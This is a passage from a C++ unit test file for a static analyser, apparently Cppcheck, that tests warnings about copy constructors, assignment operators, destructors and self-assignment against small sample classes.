p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = 